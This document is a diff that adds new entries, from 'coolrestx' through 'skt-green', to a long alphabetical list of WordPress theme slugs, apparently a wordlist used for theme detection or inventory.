@@ -4612,6 +4721,7 @@ coolblue
coolblue-styleshout
coolhomes
coolparis
coolrestx
coolsea
coolstory
cooltheme
@@ -4644,6 +4754,7 @@ cordillera
cordobo-green-park-2
cordobo-green-park-2-version-0-9-8
core
core-blog
core-corporate
core-fitness
corgi-love
@@ -4659,8 +4770,10 @@ corp_business
corpbiz
corpbiz-lite
corpboot
corpera
corplite
corpo
corpo-digital
corpo-eye
corpobell
corpobox-lite
@@ -4713,9 +4826,11 @@ corporate-simple
corporate-smooth
corporate-stars-lite
corporate-startup
corporate-techup
corporate-theme-v2
corporate-v1
corporate-world
corporate-wp
corporate-x
corporate-zing
corporate64
@@ -4729,6 +4844,8 @@ corporately-child
corporatesource
corporatetech
corporatio
corpotec
corpox
corpoz
corpus
corpvox
@@ -4848,6 +4965,7 @@ creation-theme
creation-wordpress-theme
creationz
creatista
creativ-academy
creativ-agency
creativ-blog
creativ-blog-pro
@@ -4882,6 +5000,7 @@ creative-portfolio
creative-press
creative-school
creative-simplicity
creative-techup
creative-uri-httpwww-love-2create-net
creativefocus
creativeily
@@ -4889,10 +5008,12 @@ creativeily-blog
creativemag
creativepress
creativeworks
creativo
creato
creator-lab
creator-world
creattica
creatures-lite
creatus
credence
credible-corner
@@ -4938,6 +5059,7 @@ crying-rhinos
cryonie
crypto-icon-lite
crypto-news
crypto-solutions
cryptobit
cryptoblog
cryptocurrency-exchange
@@ -4964,6 +5086,7 @@ ct-corporatee
ct-white
cthroo
cthrooo
ctpress
ctravel-adven-lite
ctrspace-lite
cuahang
@@ -5028,6 +5151,7 @@ cute-bubbles
cute-frames
cute-theme
cute-things
cutemag
cutewp
cutline
cutline-14-2-column-right
@@ -5050,6 +5174,7 @@ cwp-responsive-magazine
cwp-robi
cwp-youit
cwp_roby-robi
cww-portfolio
cyanotype
cyanshine
cyantology
@@ -5109,6 +5234,7 @@ daily-stories
dailyblog-lite
dailygood-theme
dailymaker
dailynews
dailypost
dailytz
daisy-blue
@@ -5136,6 +5262,7 @@ daniels-bootstrap-4
dank-portfolio
dankspangle
dansal
danske-site
danvers-widgetized
dany
dapper
@@ -5172,7 +5299,10 @@ dark-marble
dark-memory
dark-mini
dark-mode
dark-mode-for-a
dark-mode-for-astra
dark-model-twenty-ten
dark-music
dark-neon
dark-night
dark-ornamental
@@ -5195,6 +5325,7 @@ dark_army
darkbasic
darkbeautifull
darkbiz
darkbiz-child
darkblue
darkblue2
darkcity
@@ -5206,6 +5337,7 @@ darkerio
darkflower2
darklight
darklowpress
darkmag
darkmoon
darkmystery
darknews
@@ -5216,6 +5348,7 @@ darkpro
darksepia
darkspirit
darkstrict
darktheme
darktree
darkzen
daron
@@ -5420,6 +5553,7 @@ design-treatment
designer-friendly
designer-relief
designer-themes-corporate-1
designer111
designerworld
designexo
designfolio
@@ -5546,6 +5680,7 @@ digi-store
digiblog
digicload
digicrew
digihigh-lite
digimag-lite
digimode
diginews
@@ -5567,6 +5702,7 @@ digital-profile
digital-profile-theme
digital-services
digital-store
digital-storefront
digital-technology
digital-yatra-asia
digitalblue
@@ -5710,6 +5846,7 @@ don
donator
donna
donovan
dontgetablock
donut
doo
doodis
@@ -5843,6 +5980,7 @@ dustland-express
dustland-express-premium
dustlandexpress
dvd-reviews
dvm_writer
dw-minion
dw-mono
dw-timeline
@@ -5915,6 +6053,7 @@ easthill
easy
easy-biz
easy-blog
easy-blog-dark
easy-business
easy-car-rental
easy-casino-affiliate
@@ -5943,6 +6082,8 @@ easyblogging
easyblue
easycity
easycode
easyconsulting
easycorporate
easydita-knowledge-portal
easydone
easyflower
@@ -6017,6 +6158,7 @@ ecommerce-storefront
ecommerce-x
ecommerce-zone
ecommerceblog-news-education
ecommercefocus
econature-lite
economics
economist
@@ -6079,12 +6221,14 @@ education-base
education-blog-theme
education-booster
education-business
education-business-school
education-buz
education-buz1
education-care
education-consultr
education-corner
education-economist-uri-httpsaxlethemes-comdownloadseducation-mind
education-home
education-hub
education-hub-pro
education-hubs
@@ -6100,6 +6244,7 @@ education-master
education-method
education-mind
education-minimal
education-monal
education-one
education-online
education-pack
@@ -6186,6 +6331,7 @@ eizz
ekebic
ekiline
eksell
ekta-directory
ekushey
el-mierdero-v10
ela
@@ -6277,6 +6423,7 @@ elite
elite-business
elite-business-agency
elite-business-dark
elite-commerce
elite-lite
elite-white
elitepress
@@ -6292,6 +6439,7 @@ ellex
ellie
elmax
elo
elonissa
eloquent
elote
elsa
@@ -6383,8 +6531,14 @@ engross
engrossimo
enigma
enigma-parallax
enjoygrid
enjoylife
enjoymax
enjoyment
enjoymini
enjoynews
enjoynow
enjoypress
enlighten
enlighten1
enlightenment
@@ -6405,6 +6559,7 @@ enspire
enternews
enterprise-lite
entertainment
entex
entity
entrance
entrepeneur-basic
@@ -6433,6 +6588,7 @@ envogue
envoke
envy
envy-blog
enwoo
enzo-theme
enzyme
eolo
@@ -6497,6 +6653,7 @@ espresso-programmer
esquire
essay
essence
essence-t1
essenth
essential
essential-foto
@@ -6546,6 +6703,7 @@ eva-lite
evanescence
evans
evanto
evawp
evelotion-shop-uri-httpthemeisle-comthemesshop-isle
evening
evening-shade
@@ -6648,12 +6806,14 @@ experientemplate
experiment
experio
experon
experon-blog
experon-business
experon-ebusiness
experon-magazine
experon-minimal
expert
expert-carpenter
expert-electrician
expert-lawyer
expert-mechanic
expert-movers
@@ -6678,6 +6838,7 @@ exquisite
exray
exs
exs-news
exs-shop
exs-video
extant
extend
@@ -6741,6 +6902,7 @@ facelook-like-book
faceme
facepower
facetagram-fr
factory-lite
factoryplus
factoryreset
facture
@@ -6749,6 +6911,7 @@ fad
fadonet-alien
fagri
fairy
fairy-blog
fairy-tale
faith
faith-blog
@@ -6804,6 +6967,7 @@ farben-basic
farhan
farihaenews
farm
farmerpress
farmlight
faro-rasca-phototheme
fart
@@ -6823,6 +6987,7 @@ fashion-diva
fashion-estore
fashion-icon
fashion-lifestyle
fashion-magazine-lite
fashion-power
fashion-red-motion
fashion-sleeve
@@ -6857,6 +7022,7 @@ fast-seo-template
fast-shop
fast-storefront
fastblog
faster
fastest
fastest-shop
fastfood
@@ -6868,6 +7034,7 @@ fat-mary
fat-minimalist
fathom
fausause
favblog
fazio
fazyvo
fazz
@@ -6906,6 +7073,7 @@ fed-front-end-design
feed-me-seymour
feed-promo
feed-them
feedlistly
feeling
feeneytwocolumn
felicity
@@ -6916,6 +7084,8 @@ felynxforest
female
femina
feminine
feminine-blog
feminine-fashion
feminine-lifestyle
feminine-lite
feminine-magazine
@@ -6999,6 +7169,7 @@ financeaccountants
financerecruitment
financeup
financeupp
financey
financial-news
financial-planner
financials-mortgage-and-credit-cards
@@ -7013,6 +7184,7 @@ fine_arts
finedine
finest
finewp
fini-mafini
finiline
fino
fino-agency
@@ -7023,6 +7195,9 @@ finrelief
finspiration
finteriordesign
fiona-blog
fiona-food
fiona-love
fiona-news
fionn
fiore
fire-blog
@@ -7191,6 +7366,7 @@ flix
float-in-sky
floating-pinky
floatinglight
flock
floki
floor-style
flora-relief
@@ -7265,6 +7441,7 @@ fnext
focus
focus-magazine
focus-on-basic
focus-stock
focusrosy
fog
fog-lite
@@ -7293,6 +7470,7 @@ fontella
fonts
foo-bar-symlink
food-and-diet
food-blogger
food-blogger-basic
food-blogger-lite
food-business
@@ -7328,6 +7506,7 @@ foodland
foodlovers
foodoholic
foodsharing-bezirks-style
foodshop
foodup
foody
foodylite
@@ -7359,6 +7538,7 @@ forever-lite
forever-theme
foreverwood
forexn
forgood
forma
formation
formation3
@@ -7404,6 +7584,7 @@ foundation-for-wordpress
foundation-lite
foundation-starter
foundation-theme
foundational
foundations
founder
four-forty
@@ -7415,10 +7596,13 @@ fourier
foursquared-wordpress-theme
fourteenpress
fourty
fox009-vermilion
fox009-wisdom
foxeed-lite
foxeed-lite-kacey
foxhound
fpdarren-1
fphoto-snap-lite
fphotography
fportfolio
fprop
@@ -7474,6 +7658,7 @@ freedom
freedom_zero
freedream
freedream2010
freefolio
freeion
freelancer
freelancer-agency
@@ -7575,11 +7760,13 @@ fsport
fstore
fsv-basic
fsv002wp-basic-corporate-01-blue
ft-charity-ngo
ft-directory-listing
ftechy
ftisho
ftourism
ftravel
ftravel-holiday-lite
fuck-yeah
fuckyou
fudge-lite
@@ -7624,6 +7811,7 @@ furkantheme
furnace
furnde-lite
furnish-lite
furniture-interior
furry-family
furvious
fury
@@ -7697,6 +7885,7 @@ gallery-theme
gallery-twenty
gallerypress
gallerywp
gally
galore
galway-lite
gama-store
@@ -7707,6 +7896,7 @@ gamelan
gamepress
gamer-blog
gamerpotiondark
games-online
gamesite
gamesrelated
gameton
@@ -7729,6 +7919,8 @@ garden
garden-blog-template
garden-care
garden-harvest
garden-landscaping
garden-lite
gardener
gardenia
gardening
@@ -7766,6 +7958,7 @@ gear
gear-world
gears
gears-and-wood
gebeya
gedion
geek-press
geekdaddy-dean
@@ -7901,6 +8094,7 @@ gistfucking
gitem
githuber
gitsta
giver
givingpress-lite
gjfghfjgfgjfvjf
gk-portfolio
@@ -8081,6 +8275,7 @@ grain
grainyflex
grand-academy
grand-popo
grandfurnish
grandmart
grandstand-lite
granite-lite
@@ -8272,6 +8467,7 @@ gridbox
gridbox01
gridbox1
gridbulletin
gridchamp
gridd
griddist
griddle
@@ -8287,12 +8483,14 @@ gridlumn-1-0
gridmag
gridmax
gridme
gridnext
gridnow
grido
gridpal
gridphoto
gridpress
gridriffles
grids
gridsby
gridsbyus
gridsomniac
@@ -8352,6 +8550,7 @@ gspark
gsus420
gt-ambition
gt-basic
gt-drive
gt-focus
gtheme-responsive
gtl-multipurpose
@@ -8399,6 +8598,7 @@ guten-learn
gutenbee
gutenberg
gutenbiz
gutenbiz-blog
gutenbiz-dark
gutenbiz-light
gutenbiz-mag
@@ -8423,6 +8623,7 @@ gutenwp
guto
guto-lite
gutotheme
guysrocktoo
gw-chariot
gwangi-sensual-child
gwclassic
@@ -8515,6 +8716,7 @@ happy-halloween
happy-landings
happy-wedding-day
happybase
happyendingsforlovers
happyet
happynews
happyranking
@@ -8566,6 +8768,7 @@ haumea
haunted
haunted-house
hava
havan
havawebsite
havila_shapely
havilaisle
@@ -8643,9 +8846,12 @@ hello-elementor
hello-elementor-child
hello-eletheme-uri-httpselementor-comhello-themeutm_sourcewp-themesutm_campaigntheme-uriutm_mediumwp-dash
hello-fashion
hello-hv
hello-kepler
hello-kitty-twenty-ten
hello-little-girl
hello-pack
hello-parents
hello-temp-elementor
hello1
helloing
@@ -8712,6 +8918,8 @@ heythere-lite
hezare
hflash
hg
hgw-whiteboard
hgwmag
hhhhsi
hhomm-basic
hhstore
@@ -8800,6 +9008,7 @@ holland
holland-child
hollandex
holly
home-care
home-design-blog
home-design-blog-2
home-furniture
@@ -8818,6 +9027,7 @@ hometard
homywhite
honeybee
honeypress
honeypress-dark
honeywaves
honma
honma-blue
@@ -8825,6 +9035,7 @@ honma-red
honos
honu
hooked_s
hoop
hooshmandi
hoot-business
hoot-du
@@ -8847,6 +9058,7 @@ horoscope
horror-portal
horse-theme
horseback-holiday
hospital-health-care
hospitalitymanager-theme-uri-httpswordpress-orgthemestwentyfifteen
hospitalitymanager-uri-httpswordpress-orgthemestwentyfifteen
hospitallight
@@ -8902,6 +9114,7 @@ hotmail-bob
hottest
hotwp
house-in-the-sun-travel-theme
house-state
house-street
housepress
housing-lite
@@ -8949,6 +9162,7 @@ hunt-magazine
hustia
hustler
huynh-dat-2018
hv-themes
hvac-repair-lite
hwinita-shopping
hy
@@ -9081,6 +9295,7 @@ idoneita
idream
idream-eghbali
idris
idsk-template
idt
idyllic
if
@@ -9172,6 +9387,7 @@ impact-drill-designs
impactxx
impatience
impatience-romanian-with-settings-page
imperion
imprenditoresociale-isabelle-garcia
impress-theme
impress-wp
@@ -9205,6 +9421,7 @@ incito
inclusive
incmag
incolatus
incolor
incomt
incounter
incredible
@@ -9303,6 +9520,7 @@ ingonza
ingrid
ingrid2654
inhtscustom-uri-httpthemeisle-comthemeszerif-lite
inhype-lite
inicial
initio
ink-and-wash
@@ -9348,6 +9566,7 @@ insent
insert-headers-and-footers
inside-tours
insights
insita-lite
insomania-shop
inspirar
inspiration
@@ -9365,12 +9584,14 @@ instapressed
instatheme
institution
instock-lite
instorm
instructor-lead-online-tutoring-system
instyle-lite
insurance-gravity
insurance-hub
insurance-now
intaglio
intech-lite
integer
integral
integral1
@@ -9393,6 +9614,7 @@ interior-designs
interior-lite
interiorpress
interiors
interiorwp
internet
internet-center
internet-center-3-columns
@@ -9483,6 +9705,7 @@ isfahan
isha
ishop
ishopindo
ishta
ishvara
isimple
isis
@@ -9515,6 +9738,7 @@ it-company-lite
it-expert
it-is-mighty-beautiful-down-there
it-news-grid
it-photographer
it-solutions
it-technologies
itahari-park
@@ -9670,6 +9894,7 @@ jet-lite
jetage
jetblab
jetblack
jetblack-construction
jetblack-education
jetblack-music
jetblack-pulse
@@ -9818,6 +10043,7 @@ juliet
juliette
jumadi
jumal-1-0
jumialike
jumla
jumla-pro
jump-start
@@ -9827,6 +10053,7 @@ jumptags
jungacademy
juniper
juno
junotoys-child
jupios
jupiter
jupiterx-lite
@@ -9977,6 +10204,7 @@ kciaotime
kcss
kde-air
kedep
kedu
keenmoon
keensalon
keenshot
@@ -9989,6 +10217,7 @@ keeway-lite
keiran
keke
kelly
kelvin-mbugua-architect
kemet
kempner
kenai-wp-starter-kit
@@ -10010,6 +10239,7 @@ kesederhanaan
keseria
ketaba
kevin-games
kevo-mpole
key-blog
key-lock
keystone
@@ -10052,9 +10282,11 @@ kids-online-store
kids-school
kids-scoop
kids-zone
kidsgen
kidspark
kidspress
kidsschool
kidsvibe
kiducation
kidzoo-lite
kienbut-lite
@@ -10106,11 +10338,14 @@ kis-keep-it-simple
kish
kiss
kitbug
kitchen-decor
kitchen-design
kitsmart
kitten
kitten-in-pink
kiwi
kiyomizu
kiyono
kiyoshi
klarity
klasik
@@ -10139,6 +10374,7 @@ knowledge
knowledge-base-lite
knowledgecenter
knowners-test-theme
knowpress
knowx
knr-decorous
koa
@@ -10179,6 +10415,7 @@ konkurrent
konmi
konnichi-an
konrad
kontor
kontrast
kool
koormai-sharp
@@ -10437,6 +10674,7 @@ leanex-lite
leap-it-solutions
leapwing
learn
learn-press-education
learning-point-lite
learnmore
learnpress-discovery
@@ -10565,6 +10803,7 @@ lifeonaclaud
lifestreaming-white
lifestyle
lifestyle-blog
lifestyle-blog-lite
lifestyle-fashion
lifestyle-magazine
lifestyle-magazine-lite
@@ -10623,6 +10862,7 @@ lightstore
lightweight
lightweight-personal
lightweight-responsive
lightweightly
lightword
lightword-carbon
lightword23
@@ -10682,6 +10922,7 @@ lisianthus
lisign-illdy
lisse
listava
listdomer
listigpa
listing
listinghive
@@ -10720,10 +10961,12 @@ live-color
live-colors-theme
live-it-up
live-music
live-news
live-portfolio
live-wire
livealife
liveblog
lively
livenewsin
livepad
liveride
@@ -10744,6 +10987,7 @@ llorix-one-lite
lmao
lmntrix
lms-academic
lms-education
loan
loan-multipurpose-wordpress-theme
loans
@@ -10760,6 +11004,7 @@ log-book
log-lolla
loganpress-premium-theme-1
logbook
logbook-wp
logica
logipro
logistic-transport
@@ -10773,6 +11018,7 @@ loka
loki
lokiseo
lola
lolipop
loloo
loneliness
lonely-road
@@ -10808,6 +11054,7 @@ lost-coast
lothlorien
lotti
lotus
lotus-beauty
lotus-forest
lotuslite
lotuslite2
@@ -10871,6 +11118,7 @@ luno
lupercalia
lupinus
lupo
luque
lustrous
luvlornoia
lux-lite
@@ -10915,6 +11163,7 @@ lzrestaurant
m
m-corporate
m-elo
m-shop
m1
m1-theme
m4ss-net
@@ -10943,6 +11192,7 @@ madebypart
madeini
madeoutofglitter
madhat
madhura
madiha
madina
madinasyedan
@@ -10956,6 +11206,7 @@ maestropizzini
mafia
mag
mag-and-news
mag-dark
mag-lite
mag-news
mag-theme
@@ -11071,6 +11322,8 @@ magone
magone-lite
magpaper
magpiezero
magpoint
magpress
magpro
magrid
mags
@@ -11237,6 +11490,7 @@ markety
markiter
markoblog
markosource
markup
marla
marla-theme
marlexsystems
@@ -11248,6 +11502,7 @@ marlinliterachelsands
marlion
marmaris-travel
marmot
marmot-blog
marmot-restaurants
marmota
maro
@@ -11280,6 +11535,7 @@ masonry
masonry-blog
masonry-blogazine
masonry-brick
masonry-grid
masonry-hub
masonry-pk
masonry2017
@@ -11399,6 +11655,7 @@ maxwp
maya-blog
mayan
mayasilk
mayland-blocks
mayras-portfolio
maytay
mayura
@@ -11437,6 +11694,7 @@ mechatronics-art
meche-default
mecmua
med-i-medier
medex-lite
media-evolution
media-master
media-maven
@@ -11459,6 +11717,7 @@ medical-heed
medical-hospital
medical-hospital-lab
medical-hub
medical-insight
medical-life
medical-lite
medical-portfolio
@@ -11469,12 +11728,14 @@ medical-theme
medical-treatmen
medical-treatment
medical-way
medicare
medichrome
medicine
mediciti-lite
mediclean
mediclin
mediclinic-lite
medicos-lite
medicoz
medicpress-lite
medics
@@ -11513,6 +11774,7 @@ mega-curioso
mega-magazine
mega-news
mega-store
mega-storefront
mega-stores
mega-tour
mega-ui
@@ -11525,9 +11787,11 @@ megan-fox
megapress
megaresponsive-lite
megart
megashop
megastar
megaz
megazine
megla
megnu-dustydisks
megnu-ubuntu
megumi-theme-miyako
@@ -11570,6 +11834,7 @@ memberlite
membershiply
memememe
memoir
memoir-lite
memori-jingga
memori-jingga-yanuar
memories
@@ -11655,6 +11920,7 @@ metamorph_tropicforest
metamorph_waterdrop
metamorph_wordpress
metasilk
metasoft
meteorite
metlux
metro
@@ -11685,6 +11951,7 @@ metroui
metrouitheme
metrowp
meve
meyti
mezze
mf-inferno-v4-0
mf-redpress
@@ -11764,6 +12031,7 @@ mie-boxed-theme
mighty
mihael-keehl
mik
mik-dark
mik-personal
mik-personal-lite
mik-travel
@@ -11879,11 +12147,13 @@ minimal-simplex
minimal-single-column
minimal-sun-theme
minimal-theme
minimal-travel
minimal-travelogue
minimal-white
minimal-wp
minimal_basic
minimalblog
minimaldiary
minimalism
minimalism-essentials
minimalism-revisited
@@ -11915,6 +12185,7 @@ minimalzerif
minimamkp
minimatica
minimatica-for-wordpres-3-5
minimentor
minimer
minimize
minimize2
@@ -11992,6 +12263,7 @@ mixtape
miyazaki
mizi-robot
mk
mkayapro
mktheme
ml-express
mlf
@@ -12055,6 +12327,7 @@ modern-clix
modern-construction
modern-decode
modern-diary
modern-ecommerce
modern-estate
modern-flat
modern-furniture
@@ -12123,6 +12396,7 @@ molokovo-design
molten-iron
moment
moment-shot
momentog
momentous
momentous-lite
moments
@@ -12183,12 +12457,14 @@ moon
moonbeams
moonlight
moonoliniz
moonsight
moonwalk
moony
mooveit-lite
moozakue-lite
mora
more-or-less
morenews
moresimple
morfeu
morning
@@ -12211,6 +12487,7 @@ mosalon
moscow
moseter
mosto-wp
motics
motif
motion
motioner
@@ -12246,6 +12523,7 @@ mowen-portfolio-lite
moxasa
moxo
mozz
mozzarella
mofuckin-hestia
mofuckin-parallaxsome
mp-ssv
@@ -12358,6 +12636,7 @@ music
music-and-video
music-artist
music-band-lite
music-center
music-club-lite
music-flow
music-freak
@@ -12367,12 +12646,14 @@ music-lite
music-news
music-pro
music-theme
music123
musica
musica-v1-25
musicaholic
musical-blog
musical-vibe
musican
musicchart
musicfocus
musicjoy
musicmacho
@@ -12523,6 +12804,7 @@ mynote
myos
mypapers
mypersonalinfo
myphotography
mypoker
myportfolio
myprofile
@@ -12578,6 +12860,9 @@ nabone
nabthesis
nada
nadege
nadz-blog
nadz-mini-blog
nadz-news-blog
nadzhq-minimal
naga
nagi2323
@@ -12591,6 +12876,8 @@ najib-bagus
nake
naked
nakhra-lite
nakumatt
naledi
namaste-lite
namib
namo-diary
@@ -12689,6 +12976,7 @@ necochea
needaholic
needle
needles
neel
neewee
neewee-wordpress-theme
negocio-business
@@ -12736,6 +13024,7 @@ nerdies24
nerdtheme
nerdtheme-v12
nerocity
nesiapress
nest
netbil-tema
netbook
@@ -12841,6 +13130,7 @@ news-blogger
news-box
news-box-free
news-box-lite
news-bulletin
news-by-hhhthemes
news-flash
news-grid
@@ -12868,6 +13158,7 @@ news-print-v20
news-reader
news-real-estate
news-site
news-talk
news-tfi
news-unlimited
news-vibe
@@ -12889,11 +13180,13 @@ newsbloggerly
newsblok
newsbloks
newsbook
newsbox-plus
newsbulk
newsbuzz
newscard
newscast
newschannel
newscover
newsdesign
newsdot
newsedge
@@ -12931,8 +13224,10 @@ newsmandu-magazine
newsmin
newsnote
newson
newsosa
newsova
newsovo
newsoza
newspaper
newspaper-for-wp
newspaper-lite
@@ -12975,7 +13270,9 @@ newstody
newstone
newstore
newstorial
newstype
newsup
newsuvi
newsverse
newsvida
newswords
@@ -13037,6 +13334,7 @@ nice-one
nice-wee-theme
nice-wee-theme-blue
nice_wee_theme
niceblog
nicecol
nicely-done
nicey
@@ -13085,6 +13383,7 @@ nikosa
nilan
nile
nile-biz
nilkanth
nill
nimble
nimbus
@@ -13154,6 +13453,7 @@ noko
nomad
noman
noman-cute
nominal-block
nominee
nomosaaa23
non-profit
@@ -13287,6 +13587,7 @@ nusantara
nusratech
nustudio
nut
nutmeg
nutmelanie
nutraleaf
nutrella
@@ -13369,6 +13670,7 @@ ocius
ocius-grid
ocomedrev
ocomodrev
octane
octo
octothorpe
ocular-professor
@@ -13408,6 +13710,7 @@ ok-computer
okcomputer
okidoki
ol
olbia-light
old-blog
old-book
old-japan
@@ -13493,6 +13796,7 @@ one-night-in-paris
one-page
one-page-agency
one-page-boxed
one-page-business
one-page-c
one-page-club
one-page-conference
@@ -13590,6 +13894,7 @@ online-shop-pro
online-shop1
online-store
online_mart
onlinekhabar
onlinemag
onlinemagnga-uri-httpevisionthemes-comproductonlinemag
onlinemagzinzeen
@@ -13612,10 +13917,12 @@ ontaheen
ontheside
onur-uri-httpsthemegrill-comthemescolormag
onurgulec
onward
onyx
onzepet-uri-httpswordpress-orgthemestwentyseventeen
ooble
opal
opemia
open-blue-sky
open-ello
open-mart
@@ -13715,6 +14022,9 @@ orangy
orbit
orbital-free
orbital-lite
orbital-litle
orbital-little
orbital_lite
orbitr
orbrise
orchid
@@ -13757,6 +14067,7 @@ ornate
ornateart
ornea
oro
oro-business
orpheushubevolve
orquidea-responsive-theme
orry
@@ -13789,9 +14100,11 @@ ostraining-breeze
ostrich-blog
ostrich-business
ostrich-education
ostrich-magazine
ostrovok
oswald
otel-pagoda-lite
otfm-headless
otheme
otherways
otography
@@ -13872,6 +14185,7 @@ padath-portfolio
paddle
padhag
padhang
padma
padma-lite
padwriting
padwriting-theme
@@ -13997,6 +14311,7 @@ parisian
parity
park-walk
parliament
parmesan
parole-2015
paropakar
paroth
@@ -14187,12 +14502,14 @@ pestia
pet-animal-store
pet-business
pet-care-clinic
pet-care-zone
pet-one
petal
petals
petcare-lite
petes
petj-mvp
petlife-lite
petlove
petro
petshop
@@ -14254,6 +14571,7 @@ photobook-lite
photocentric
photoflash
photofocus
photofocus-light
photofolio
photofolium
photoframe
@@ -14263,6 +14581,7 @@ photogram
photograph
photograph1
photographer
photographers-corner
photographers-freedom-portfolio
photographic
photography
@@ -14272,6 +14591,7 @@ photography-gridly
photography-simple
photography-studio
photography-theme
photography123
photogrid
photolab
photoline-lite
@@ -14349,6 +14669,7 @@ pillar
pillar-press
pilot-fish
pin-charity
pin-minimal
pinado
pinbin
pinblack
@@ -14434,6 +14755,7 @@ pixelhunter
pixell
pixelo
pixelon
pixelpop
pixels-from-90s
pixels-to-polygons
pixer-basic
@@ -14442,6 +14764,8 @@ pixie-text
pixigo
pixilate
pixiv-custom
pixlerweb
pixlerwp
pixline-lite
pixoboo
pixonte
@@ -14481,6 +14805,7 @@ planar-lite
planc
planet-foundation
planet-foundation-copyright-c-2014-norcal-planet-web-design-planet-foundation-is-licensed-under-the-gpl
planet-green
planetemo
planeto
plantiversum
@@ -14563,6 +14888,8 @@ polished-plum
polite
polite-blog
polite-grid
polite-lite
polite-new
political
political-era
politician
@@ -14663,6 +14990,7 @@ postcard
poster
posterity
posterity-dark
posterity-sanitize
postmag
postmagazine
postmania
@@ -14748,7 +15076,9 @@ presentizr
press-start
press3
pressbook
pressbook-blog
pressbook-dark
pressbook-news
presser-lite
pressforward-turnkey
pressforward-turnkey-theme
@@ -14773,6 +15103,7 @@ preus
prevalent
prevalents
prevay
pria
pride
pridehost
pridmag
@@ -14790,6 +15121,7 @@ prime-hosting
prime-spa
prime-theme
prime-two
primebulletin
primepress
primer
primewp
@@ -14933,6 +15265,7 @@ provan
providence
providon-uri-httpthemegrill-comthemescolormag
providxd
provise
provision
proweb
prower
@@ -14994,6 +15327,7 @@ pure-summer-theme
pure-theme
pure-white
pure-wp
purea-fashion
purea-magazine
pureblog
purely
@@ -15053,6 +15387,7 @@ qore-press-premium-q-theme
qroko
quadkcop-grayscale
quadra
quadrat
quadruple-blue
quail
quality
@@ -15094,6 +15429,7 @@ quicksand
quickstart
quickstrap
quidus
quiet
quietly-simple
quill
quill-blogging-theme
@@ -15133,6 +15469,7 @@ radi
radiance-lite
radiant
radiant-business
radiant-business-light
radiantcarnation
radiate
radiate11
@@ -15165,6 +15502,7 @@ raindrops
rainforest
rainfun
rainy-night-in-georgia
raise-charity
raise-mag
raising
rajscheijen_pot
@@ -15261,7 +15599,9 @@ readit
readline
readmore
readr
readspec
ready
ready-blog
ready-review
ready-review-responsive
ready2launch
@@ -15287,6 +15627,7 @@ real-estater
real-estater1
real-estates
real-estatetata-lite
real-fitness
real-magazine
real-one-page
real-photography
@@ -15303,6 +15644,7 @@ realistic
reality
realizare-site
realizare-site-web
really-simple
really-simple-portfolio
realm
realstate
@@ -15322,6 +15664,7 @@ recipe-lite
recipes-blog-by-accuwebhostingcom
recipes-blog-by-jilesh
recipress
reckon
reclamation
recliner
recooz
@@ -15414,6 +15757,7 @@ reesu
reference
refined
refined-blog
refined-mag
refined-magazine
refined-news
reflect
@@ -15453,6 +15797,7 @@ relations
relative
relativity
relax
relax-spa
relaxing-simple-red
relaxing-spa-theme
relevant
@@ -15470,16 +15815,19 @@ rembrandt
remedial
remedy
remind
reminiscence-lite
remix
remy
renad
renard
renden
renden-blog
renden-blue
renden-boxed
renden-business
renden-dark
renden-ebusiness
renden-emagazine
renden-grid
renden-magazine
renden-minimal
@@ -15496,6 +15844,7 @@ renniaofei
renown
renownedmint
rent
rentalh-business
repacked-420
repair-shabbir
repair_car
@@ -15725,6 +16074,7 @@ richmaster
richmasterxs
richone
richtastexs
rick
rider
rider
ridge2
@@ -15826,6 +16176,7 @@ rohit-pareek
rokom
rokophoto-lite
rokophotos-litealex
roland
rolas-sepuluh
rollback-blog
rolling
@@ -15844,6 +16195,7 @@ rook-quality-systems
rookie
rookie-startar
rookie-starter
rookieleague
rookieshit
rooloo
room
@@ -15885,6 +16237,7 @@ royal-blog
royal-legendary
royal-magazine
royal-news
royal-news-magazine
royal-shop
royal-theme-wide-template
royalblue-20
@@ -16003,6 +16356,7 @@ sailboat
saiph
saiph-lite
sair-do-caos
saira
saisho
saitama
sajek
@@ -16102,6 +16456,7 @@ sarmys
sarny
sash-theme
saskatchewan
sassbiz
sassify
sassy
sassy-nautical
@@ -16125,6 +16480,7 @@ satumahi
saturday-658
saturn-color-navy-blue
saturn-color-tan
saturnwp
satyam
saud
saul
@@ -16157,6 +16513,7 @@ sblogazine
sbw-wedding
scaffold
scanlines
scapeshot
scaredy-cat
scarlet
scarlet-blue
@@ -16203,6 +16560,7 @@ screen-touch
screenr
screens
screwdriver
scribblefastinmeeting
scribbles
scribblings
scribe
@@ -16247,6 +16605,7 @@ secure
sederhanaajah
seeatre
seedlet
seedlet-blocks
seeem-contact-manager
seek
seera
@@ -16312,6 +16671,7 @@ seo
seo-agency
seo-basics
seo-blaze
seo-business
seo-ctr
seo-friendly
seo-friendly-blog
@@ -16321,6 +16681,7 @@ seo-optimized-affiliate
seo-optimized-affiliate-theme
seo-optimized-free
seo-optimized-news-theme
seo-techup
seo-theme-staseo-10
seo-wp
seo-writers-blogily
@@ -16361,6 +16722,7 @@ sequential
seramag-lite
serdika
serena
serenake
serendib
serene
serene-elegant-free
@@ -16387,6 +16749,8 @@ sestia
set_sail
setia
setmore-spasalon
seva-business
seva-lite
seven-sages
seven-seas
sevenmag
@@ -16462,6 +16826,7 @@ shark-corporate
shark-education
shark-magazine
shark-news
shark-news-entertainment
sharkskin
sharon-chin
sharon-chin-theme
@@ -16473,6 +16838,7 @@ shawn-mercia
shayri
sheeba-lite
sheepie
shegerpro
sheilabehrazfar
shelby
shell
@@ -16537,6 +16903,7 @@ shop-isle1
shop-isles
shop-issle
shop-one-column
shop-online
shop-starter
shop-store
shop-template
@@ -16564,8 +16931,10 @@ shopisle
shopix
shopiyo
shopline
shopmax
shopone
shoppd
shoppe
shopper
shopper-store
shopping
@@ -16615,6 +16984,7 @@ shsummer
shuban
shublog
shudh
shudra
shufflemix
shukufuku
shutter-up
@@ -16675,6 +17045,7 @@ signify-corporate
signify-dark
signify-ecommerce
signify-education
signify-music-dark
signify-photography
signify-wedding
siimple
@@ -16822,6 +17193,7 @@ simple-pink
simple-podcast
simple-portal
simple-portfolio
simple-press
simple-pretty
simple-pro
simple-property
@@ -16859,6 +17231,7 @@ simple-yet-elegant
simple5
simplea
simpleasy
simplebasics
simplebeauty
simpleblocks
simpleblog
@@ -17027,6 +17400,7 @@ singlebot
singlepage
singlepage-builder
singlepress
singleton
singsong
singular
singularity
@@ -17127,6 +17501,7 @@ skt-girlie
skt-girlie-lit
skt-girlie-lite
skt-girly-lit
skt-green
skt-gym
skt-gymmaster
skt-handy
@@ -17183,6 +17558,7 @@ skymons
skypal
